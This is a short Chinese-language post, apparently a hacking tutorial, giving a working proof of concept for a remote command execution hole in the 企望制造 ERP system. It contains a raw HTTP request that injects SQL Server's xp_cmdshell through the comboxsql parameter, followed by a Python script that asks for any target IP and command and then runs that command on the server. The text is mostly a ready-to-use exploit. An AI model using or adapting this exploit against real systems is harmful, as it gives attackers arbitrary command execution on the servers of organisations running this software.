使用的漏洞是企望制造ERP系统 RCE漏洞

POC

POST /mainFunctions/comboxstore.action HTTP/1.1
Host: 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=11E0339EEFC982D1B2E80005DD204F4F
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

comboxsql=exec%20xp_cmdshell%20'whoami'

python模块

这些是比较常用的

requests
sys
os

这个POC比较简单，直接post发包执行命令就行

python源码

import requests  
  
banner = """\033[34m
 +--^----------,--------,-----,--------^-,
 | |||||||||   `--------'     |          O
 `+---------------------------^----------|
   `\_,---------,---------,--------------'
     / XXXXXX /'|       /'
    / XXXXXX /  `\    /'
   / XXXXXX /`-------'
  / XXXXXX /
 / XXXXXX /
(________(                
 `------' \033[0m             银色子弹Admin
"""

print(banner)
IP = input("\033[91m请输入目标IP：\033[0m")
url = IP + "mainFunctions/comboxstore.action"  
  
# 这里不用编码
RCE = input("\033[91m请输入要执行的命令：\033[0m")
payload = {  
    'comboxsql': "exec xp_cmdshell '%s'" % RCE
}  
  
headers = {  
    'Cache-Control': 'max-age=0',  
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0',  
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',  
    'Accept-Encoding': 'gzip, deflate, br',  
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',  
    'Cookie': 'JSESSIONID=11E0339EEFC982D1B2E80005DD204F4F',  
    'Connection': 'keep-alive',  
    'Content-Type': 'application/x-www-form-urlencoded'  

}  
  
 
response = requests.post(url, data=payload, headers=headers)  
  
 
print("Status Code:", response.status_code)  
print("Response Text:", response.text)  
  
# 如果响应是JSON格式，可以尝试解析并打印  
try:  
    json_response = response.json()  
    print("JSON Response:", json_response)  
except ValueError:  
    # 如果不是JSON格式，则忽略  
    pass

运行效果